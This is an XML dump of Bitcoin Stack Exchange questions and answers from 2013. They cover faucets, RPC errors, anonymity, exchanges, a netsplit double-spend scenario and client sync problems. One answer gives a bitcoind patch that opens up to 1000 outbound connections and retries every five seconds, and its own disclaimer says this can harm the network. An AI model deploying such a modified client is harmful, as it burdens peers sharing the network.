  <row Id="12926" PostTypeId="2" ParentId="12923" CreationDate="2013-08-25T12:54:10.307" Score="8" Body="&lt;p&gt;Faucets like that really exist and work, however, there probably are also some fakes. Nothing can be done with a Bitcoin address except to use it as a recipient address and/or see the transaction and balance history of the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E-mail addresses are not required to send bitcoins. Unless you can discern another legit reason for them needing the email address, it seems more likely that they are collecting the email addresses for other purposes, such as advertisement, phishing attacks, or to glean addresses related to online wallet services. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be careful to check whether such a faucet service is actually connected to some legit operation. It would probably be a good idea to use an email address especially created for that single use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, be aware that today most faucets only give out minuscule amounts of bitcoin, usually not worth your time and effort. If you can find work for the invested time instead, you can probably buy a multiple of the bitcoins with the earned money instead.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-06-07T22:44:22.540" LastActivityDate="2016-06-07T22:44:22.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12927" PostTypeId="1" AcceptedAnswerId="12928" CreationDate="2013-08-25T14:34:30.630" Score="1" ViewCount="2132" Body="&lt;p&gt;I'm getting an error 500 from my web server when I try to send a raw transaction through the RPC API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PHP Warning:  fopen(://...@IP:8332/): failed to open stream: HTTP request failed!&#xA;HTTP/1.1 500 Internal Server Error&#xA;in /usr/share/nginx/html/common/jsonRPCClient.php on line 132&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PHP message: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PHP Fatal error:  Uncaught exception 'Exception' with message&#xA;'Unable to connect to://bitcoinrpc:PASSWORD@IP:8332/' &#xA;in /usr/share/nginx/html/common/jsonRPCClient.php:140&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Stack trace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#0 /usr/share/nginx/html/tools/do_sendBTC.php(131): &#xA;jsonRPCClient-&amp;gt;__call('sendrawtransact...', Array)&#xA;#1 /usr/share/nginx/html/tools/do_sendBTC.php(131): &#xA;jsonRPCClient-&amp;gt;sendrawtransaction('010000000115d34...')&#xA;#2 {main}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the line that crashes: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$result = $bitcoin-&amp;gt;sendrawtransaction($tx_data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Every other API call works, for example &lt;code&gt;validateaddress&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this fails? The same raw transaction works if sent through the bitcoind command line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5104" LastEditorUserId="6218" LastEditDate="2014-05-01T21:26:34.593" LastActivityDate="2014-05-01T21:26:34.593" Title="bitcoind API sendrawtransaction error 500" Tags="|bitcoind|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12928" PostTypeId="2" ParentId="12927" CreationDate="2013-08-25T15:21:16.597" Score="1" Body="&lt;p&gt;You cannot send one transaction twice. If you have already sent it from bitcoin commandline, then it will fail with -22(cli) or 500(http) error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;500 means incorrect data: insufficient funds, bad syntax, bad type, impossible command...&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to cast to string: &lt;code&gt;$bitcoin -&amp;gt; sendrawtransaction((string)$tx_data)&lt;/code&gt;, and do &lt;code&gt;var_dump($tx_data)&lt;/code&gt; to find the type.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it doesn't help, send this POST request from cURL, as in tutorial: &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_(JSON-RPC)#Command_line_.28cURL.29&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/API_reference_(JSON-RPC)#Command_line_.28cURL.29&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2013-08-25T15:21:16.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12929" PostTypeId="2" ParentId="12907" CreationDate="2013-08-25T17:00:59.627" Score="4" Body="&lt;p&gt;Bitcoins are only ever really anonymous if you mine them your self or were given them by a miner. Once bitcoins are exchanged on, well an exchange (especially one affiliated with the U.S.) then those bitcoins have been associated with you. You can transfer them to other wallet addresses, but it will be visible in the block chain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can cycle them through many different accounts, but unless you have hundreds or thousands of accounts, then any illicit activity could be traced back to your first transfer by a sufficiently savvy analyst. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also think that in the current mining climate, it would not be a trivial feat to acquire enough computers to generate enough bitcoin to fund any significant endeavor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be noted that any exchange operating in the &lt;a href=&quot;http://www.fincen.gov/news_room/rp/files/MSB_Exam_Manual.pdf&quot; rel=&quot;nofollow&quot;&gt;U.S. is obligated to employ someone whose job description is to look for money laundering.&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-08-25T17:00:59.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12930" PostTypeId="2" ParentId="12923" CreationDate="2013-08-25T17:13:04.267" Score="4" Body="&lt;p&gt;Most faucets are based on ad revenue. Bitcoin fauces do give aways fractions of bitcoins for you to visit sites filled with ads and the faucet collects revenue when you visit the site. To prevent bots from doing the work there's often a CAPTCHA on site the for you to prove that you are human. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The faucets have often have a small fixed amount of BTC to give away and obviously they want to be running for as long as possible to collect ad-clicks. To do that the BTC giveaways are minimal, and they are alwasy smaller than what the faucet collects form the clicks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't call them a scam, but they do profit more than you do.&lt;/p&gt;&#xA;" OwnerUserId="4842" LastActivityDate="2013-08-25T17:13:04.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12931" PostTypeId="2" ParentId="12923" CreationDate="2013-08-25T17:28:34.770" Score="11" Body="&lt;p&gt;There is no danger in providing your Bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For sites that use inputs.io, certainly you have to provide some way for them to know which account to credit. The security of that account depends on the strength of your password, and how much you trust inputs.io.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more fundamental problem with these faucets is that they are a complete waste of time. The ones I've seen offer .00001 BTC for looking at an ad, solving a captcha, and entering your account info. This takes 30 to 60 seconds. At current exchange rates that is roughly 10 US cents per hour, about 2 percent of minimum wage, for perhaps the most boring work I can imagine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also not a good way to just pick up a few satoshis to start playing with the system, because thanks to aggregators like inputs.io, you typically cannot get your coins until you have earned BTC .0005 or so, which would take about an hour. Totally not worth it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, I think if it were a scam, they should be offering much better bait.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2014-04-30T03:56:11.250" LastActivityDate="2014-04-30T03:56:11.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12932" PostTypeId="2" ParentId="8109" CreationDate="2013-08-25T21:59:43.390" Score="22" Body="&lt;p&gt;The given answers don't answer the question. Even though it might not makes sense to achieve a thousand connections, here's how to do that on Debian. You want to make some slightly changes in the code and recompile bitcoind:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Get required packages for compiling:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ aptitude install git make build-essential libssl-dev libboost-all-dev libdb-dev libdb++-dev libminiupnpc-dev&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clone the git repository (make sure the version is the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/branches&quot;&gt;most recent branch&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cd /usr/src&#xA;$ sudo git clone -b 0.8.4 https://github.com/bitcoin/bitcoin&#xA;$ cd bitcoin/src&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit the net.cpp file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@@ -27,7 +27,7 @@&#xA; using namespace std;&#xA; using namespace boost;&#xA;&#xA;-static const int MAX_OUTBOUND_CONNECTIONS = 8;&#xA;+static const int MAX_OUTBOUND_CONNECTIONS = 1000;&#xA;&#xA; bool OpenNetworkConnection(const CAddress&amp;amp; addrConnect, CSemaphoreGrant *grantOutbound = NULL, const char *strDest = NULL, bool fOneShot = false);&#xA;&#xA;@@ -1533,7 +1533,7 @@&#xA;             OpenNetworkConnection(CAddress(vserv[i % vserv.size()]), &amp;amp;grant);&#xA;             MilliSleep(500);&#xA;         }&#xA;-        MilliSleep(120000); // Retry every 2 minutes&#xA;+        MilliSleep(5000); // Retry every 5 seconds&#xA;     }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;1.) By changing MAX_OUTBOUND_CONNECTIONS, the client will go on connecting until it reaches 1000 proactive connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) By changing the sleep timeout new connections are tried more frequently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compile and install bitcoind:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo make -f makefile.unix&#xA;$ sudo mv bitcoind /usr/bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Don't forget to set the maxconnections in bitcoin.conf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;maxconnections=1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Start bitcoind and your done. The client will make lots of connections really fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; As Pieter Wuille pointed out, it can harm the network to run a modified client like this one. Please use this solution for research purposes only and not as a permanent solution.&lt;/p&gt;&#xA;" OwnerDisplayName="user6514" LastEditorDisplayName="user6514" LastEditDate="2013-08-26T01:09:18.720" LastActivityDate="2013-08-26T01:09:18.720" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12933" PostTypeId="2" ParentId="12575" CreationDate="2013-08-26T02:19:46.503" Score="2" Body="&lt;p&gt;*&lt;strong&gt;&lt;em&gt;UNFORTUNATELY THIS IS ALL OUTDATED NOW, SORRY&lt;/em&gt;*&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;BTC Trading Corp. - https://btct.co&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pros: good notifications in email, good analysis of your positions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cons: always in development, weird UI when new features are added, 24 hour withdrawal limits, but you can request larger amounts but it is delayed a few hours as the admin has to move the bitcoins from cold storage&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;BitFunder - https://bitfunder.com&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pros: looks more advanced than BTC Trading Corp&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cons: stock prices are typically lower there on cross-listed securities, no email notifications when anything happens, lame we-exchange thing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Havelock Investments - https://havelockinvestments.com&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pros/Cons: Best UI UX, Canada.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;MPEx - http://mpex.co&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pros/Cons: Run by a multiple personality lunatic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cons: Admission/Listing fees, I forget. Nonexistent UI&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="3047" LastEditDate="2014-03-17T04:11:41.550" LastActivityDate="2014-03-17T04:11:41.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12934" PostTypeId="2" ParentId="12746" CreationDate="2013-08-26T02:25:23.437" Score="1" Body="&lt;p&gt;You can even have a transaction with only 1 input and 1 output, both being the same address&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-08-26T02:25:23.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12935" PostTypeId="2" ParentId="12912" CreationDate="2013-08-26T02:35:22.203" Score="1" Body="&lt;p&gt;So you are asking if it is possible to store a huge chunk of data in an tx output what worth 100000000 satoshi, right? Yes, it is possible but you have to pay really big fee to store your picture in the blockchain on millions of computers.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2013-08-26T02:35:22.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12939" PostTypeId="1" AcceptedAnswerId="12941" CreationDate="2013-08-26T12:51:35.073" Score="0" ViewCount="282" Body="&lt;p&gt;Can the mtGOX API be used to buy on one exchange and sell on another, if so, how? (An example api call/url etc would be great)?&lt;/p&gt;&#xA;" OwnerUserId="6520" LastActivityDate="2013-08-26T13:32:04.957" Title="Does mtGOX allow for buying on one exchange and selling on another through their API?" Tags="|mtgox|api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12940" PostTypeId="2" ParentId="12939" CreationDate="2013-08-26T13:19:21.583" Score="1" Body="&lt;p&gt;The Mtgox API can be used to buy or sell on Mtgox. To buy or sell on another exchange you'll need the API of that other exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information about the Mtgox API can be found at &lt;a href=&quot;https://en.bitcoin.it/wiki/MtGox/API&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/MtGox/API&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-08-26T13:19:21.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12941" PostTypeId="2" ParentId="12939" CreationDate="2013-08-26T13:24:39.147" Score="0" Body="&lt;p&gt;Im going to answer this with a NO. Although some non bitcoin exchanges supports mutual offsetting, for example SGX and CME allow you to offset futures contracts the way you are talking about I'm fairly sure that the mtGOX API only allows you to trade trade on mtGOX. If you need another exchange you need an API for that exchange.&lt;/p&gt;&#xA;" OwnerUserId="4842" LastEditorUserId="4842" LastEditDate="2013-08-26T13:32:04.957" LastActivityDate="2013-08-26T13:32:04.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12942" PostTypeId="1" AcceptedAnswerId="12949" CreationDate="2013-08-26T14:58:33.017" Score="0" ViewCount="106" Body="&lt;p&gt;I would like to use &lt;a href=&quot;https://github.com/3M3RY/Dojima&quot; rel=&quot;nofollow&quot;&gt;Dojima&lt;/a&gt; to trade bitcoins on &lt;a href=&quot;https://www.bitstamp.net/&quot; rel=&quot;nofollow&quot;&gt;Bitstamp.net&lt;/a&gt;. However, I would like to know about security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Dojima have the ability to send bitcoins to addresses, or is it only able to submit trade orders?&lt;/p&gt;&#xA;" OwnerUserId="1379" LastEditorUserId="105" LastEditDate="2013-08-27T05:43:05.443" LastActivityDate="2013-09-24T05:38:35.663" Title="Does Dojima (trading platform) have access to my funds?" Tags="|security|api|bitstamp|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12943" PostTypeId="1" CreationDate="2013-08-26T15:03:55.833" Score="4" ViewCount="3549" Body="&lt;p&gt;I would like to use a USB with a Linux distro, ideally with Electrum. The advantage of this is that the USB does not need to contain any information, just entering the seed would be enough, which provides extra security in my opinion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a distribution which does this? or there an instruction on how to do this?&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2020-10-31T20:54:58.130" Title="Is there an Electrum based USB Distro?" Tags="|linux|electrum|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12944" PostTypeId="1" CreationDate="2013-08-26T17:04:18.120" Score="3" ViewCount="616" Body="&lt;p&gt;I'm trying to understand the Bitcoin protocol, and I have a security scenario. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Let's assume that today between the internet connection between Europe and America is lost.&lt;/li&gt;&#xA;&lt;li&gt;John is in Europe&lt;/li&gt;&#xA;&lt;li&gt;John sends money to Henry while he is in Europe.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Then John saves his wallet to a CD and travels to America, were he uses another computer. The connection between Europe and America is still broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can John send the same money to another Bitcoin client? In America nobody knows what John did in Europe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If he can send the same money again in America, what will happen when America and Europe reconnect?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit after Murch's answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a new story, it is the same except for some little modifications.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;John is a bad boy. He cracked Alton's router and put him into a fake network. This network includes some (fake) Bitcoin peers that don't have a connection to internet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;John, Alton and other peers are located in an isolated network. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;John sends money to Alton. Alton and the other isolated peers confirm this transaction, but it is not confirmed in the global block chain yet. Now, Alton thinks that he has the money.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;John takes his wallet and connects to internet. And sends the same money to his other account. This transaction is confirmed in global block chain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;John releases Alton's router, now Alton can connect to internet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When Alton connects to internet he will see that his transaction is unconfirmed in the global block chain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I think Alton needs a service to confirm that he had a real transaction and it is confirmed in global block chain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there a service like this? I don't know do we really need a service to confirm transactions?&lt;/p&gt;&#xA;" OwnerUserId="6524" LastEditorUserId="5406" LastEditDate="2015-07-16T18:36:58.333" LastActivityDate="2015-07-16T18:40:35.617" Title="Is the Bitcoin protocol secure if two parts of the network have no connection?" Tags="|transactions|protocol|blockchain-fork|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12945" PostTypeId="2" ParentId="12944" CreationDate="2013-08-26T18:02:34.990" Score="5" Body="&lt;h2&gt;The direct effects of the netsplit&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Miners in both the European network and the American network will continue to find blocks and validate transactions in their respective network part. However, until the difficulty will be adjusted, the validation will be slower, because the difficulty was set for a greater mining power than is available in each part of the world. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume that &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2/3 of the mining power are in the Americas and 1/3 is in Europe&lt;/li&gt;&#xA;&lt;li&gt;the hashing power remains constant (simplification) for the time of the network split&lt;/li&gt;&#xA;&lt;li&gt;the network was operating at a previous block interval of 10 minutes in average before the split&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then the Americas should find a block every 15 minutes and the European network should take 30 minutes per block after the split. When the difficulty adjustment block is reached, both networks will return to creating blocks every 10 minutes in average. However, up to the adjustment the Americas will be twice as fast and thus their blockchain will be ahead significantly, specifically one and a half blocks for each block that had to be mined until the difficulty was scheduled to be adjusted.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;John can spend his money again&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When John goes to the Americas, the transactions sent in the European network have not been taken into account there. His wallet thus will still allow him to spend all the bitcoins that he had before the netsplit. He can now cheat Henry out of the money: John decides to send all the money to another of his own addresses.&lt;sup&gt;*&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Reconnection: Shorter blockchain will be invalidated&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now, when the connection of the two networks is reconciliated, the American network's blockchain is longer (i.e. the total difficulty of the mined blocks is greater). All blocks in the European blockchain mined since the network split will be rejected by the American network, the European miners will retroactively lose their mining gains. The transaction John did in the Americas takes precedent, because it is part of the blockchain there and the transactions of the European network are just now readmitted to be validated by the global network. John's balance had already been sent to his other address, so the transaction that now tries to send the bitcoins to Henry is thrown out as invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alice, who had sent money to Bob in Europe, will see that her transaction (along with all others that were only seen in the European network) will go back to being unconfirmed in the new global blockchain (that is based on the longer American blockchain), because the block that had validated it in Europe has been obsoleted. The transactions that had been sent in the American network don't see any effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The global network will now find a new block every 6.67 minutes, until the difficulty is readjusted, because it had reduced the difficulty to fit the American miners' hashpower and is now returning to full power.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;*&lt;/sup&gt;&lt;sup&gt;&lt;em&gt;However, if Gustav had taken his computer with him from Europe and connected it to the American bitcoin network before John arrived, Gustav could have submitted all transactions that had meanwhile occured in Europe to the American network as well, and John would not have been able to spend his balance again.&lt;/em&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-07-16T18:40:35.617" LastActivityDate="2015-07-16T18:40:35.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12947" PostTypeId="2" ParentId="12314" CreationDate="2013-08-26T19:50:00.443" Score="2" Body="&lt;p&gt;Bitcoin, as it works now should work fine in low-earth orbits. I'm pretty sure that anyone currently in space has sufficient internet access and computing resources to view the network, post transactions, and probably even mine. But that's boring...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond low-earth orbits, say more than 5 light-minutes* out, I wouldn't recommend mining.&#xA;There is a limit to how fast information can be sent. On and around earth, transactions and blocks propagate fast enough such that the network remains pretty much in-sync, as the distance the network spans is relatively small. Expanding to outer space (assuming internet connectivity), blocks and transactions would quickly become out-of-sync with the rest of the network simply because it would take too long for them to propagate. Blocks mined in space would disagree with the blocks mined back on earth and thus be rejected. You could still post transactions to the network and read from it, but the farther you are from earth, the longer your transactions will take to go through (compared to everyone else on earth).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One could mitigate this in at least two ways:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modify the bitcoin network such that the average block creation time is greater. Although this would lower transaction speeds, there would be more time for the network to sync-up thus lowering the probability of the aforementioned disagreements and thus allowing off world mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially, I had the thought that one could get around this by having a network of comparable computing power to earth in a space colony to act as a relay node, but this would lead to irreconcilable forks rather than a second compatible network. However, these nodes could be used to create purposefully incompatible networks that use currency to be exchanged with earth's bitcoin (as well as other space currencies) as well as to be used in and around the colony.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Note: A light-minute is the distance that light travels through space in about one minute --equal to about 18 million kilometers or 11 million miles.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2013-08-26T19:50:00.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12948" PostTypeId="2" ParentId="12943" CreationDate="2013-08-26T20:12:09.443" Score="1" Body="&lt;p&gt;You can make the standard client portable if you use the &quot;-datadir&quot; flag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that the application &quot;bitcoin&quot; is accessible from your working directory and that you want to store information in a directory named &quot;data&quot;, the script you want looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;#!/bin/sh&#xA;bitcoin -datadir=./data&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://bitcointalk.org/?topic=809.0;wap2&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/?topic=809.0;wap2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2013-08-26T20:12:09.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12949" PostTypeId="2" ParentId="12942" CreationDate="2013-08-27T08:29:24.013" Score="1" Body="&lt;p&gt;Yes it could do that. Luckily, it is open source, so people can check the code to ensure Dojima will not secretly send funds away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Dojima connects to Bitstamp for you, it will use the username and password of your account on Bitstamp. This will allow all functionality offered by the Bitstamp API, which includes sending bitcoins to an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will receive an email to verify the transaction, before it is initiated by Bitstamp. This is a security setting you can adjust in your account:&#xA;&lt;a href=&quot;https://www.bitstamp.net/account/security/email-confirmations/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitstamp.net/account/security/email-confirmations/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's hope Bitstamp will issue API keys shortly, which you can set to &quot;trade only&quot; for example. That would prevent you from having to enter your password in third party applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update 2013-09-23: Bitstamp added API keys &lt;a href=&quot;https://bitcointalk.org/index.php?topic=38711.msg3218202#msg3218202&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=38711.msg3218202#msg3218202&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6527" LastEditorUserId="5867" LastEditDate="2013-09-24T05:38:35.663" LastActivityDate="2013-09-24T05:38:35.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12950" PostTypeId="2" ParentId="12224" CreationDate="2013-08-27T08:48:40.000" Score="1" Body="&lt;p&gt;I run bitcoind 0.8.3 on a &lt;a href=&quot;http://en.wikipedia.org/wiki/Virtual_private_server&quot; rel=&quot;nofollow&quot;&gt;VPS&lt;/a&gt;. In May and June, the VPS used between 250 and 300 GB of bandwith per month. Most of that (~98%) was incoming traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if all traffic is due to bitcoind. Of course, we ran updates on the server. But it is only used for bitcoind. No other webservices are active.&lt;/p&gt;&#xA;" OwnerUserId="6527" LastEditorUserId="1405" LastEditDate="2014-01-01T18:23:53.877" LastActivityDate="2014-01-01T18:23:53.877" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12952" PostTypeId="1" CreationDate="2013-08-27T11:24:46.747" Score="10" ViewCount="36541" Body="&lt;p&gt;I've got some trouble using &lt;code&gt;bitcoin-qt&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It stays on: &lt;code&gt;&quot;No block source available...  242 weeks behind.&quot;&lt;/code&gt;&#xA;And &lt;code&gt;&quot;Catching up ... Processed 0&quot;&lt;/code&gt; etc...&#xA;Map port using UPnP is activated, and proxy disabled and I have 7 active connections to the Bitcoin network. I tried without firewall or antivirus, but nothing happened. I went into log file and I saw this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;send version message: version 70001, blocks=0, us=1**.***.**.***:8333, them=*.**.****.**:8333, peer=*.****.***.****:8333&#xA;socket recv error 10054&#xA;disconnecting node 124.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Don't take attention to the &quot;*&quot;.&#xA;For each send in the logfile there is a socket recv error...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running &lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoin-qt v0.8.3-beta&lt;br&gt;&#xA;OS - windows XP pro sp3&lt;br&gt;&#xA;I tried to put it off / on -&gt; nothing else&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do? Thank you for your help.&lt;/p&gt;&#xA;" OwnerUserId="6529" LastEditorUserId="5406" LastEditDate="2016-12-20T17:20:14.253" LastActivityDate="2016-12-20T17:20:14.253" Title="How to resolve &quot;no block source available&quot;?" Tags="|bitcoin-core|connection|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12953" PostTypeId="1" AcceptedAnswerId="12960" CreationDate="2013-08-27T12:09:22.260" Score="1" ViewCount="97" Body="&lt;p&gt;Where does a miner get the most recent/current block from, to work on confirming new transactions and building the next block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously it's the 'top' block on the blockchain - where can a new miner 'get' the blockchain from? As I understand it, it's P2P, but how do you connect to those peers in the first place?&lt;/p&gt;&#xA;" OwnerUserId="2266" LastEditorUserId="5406" LastEditDate="2016-04-28T12:51:05.720" LastActivityDate="2016-04-28T12:51:05.720" Title="Where should a miner get the most current block from?" Tags="|mining-theory|relay|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
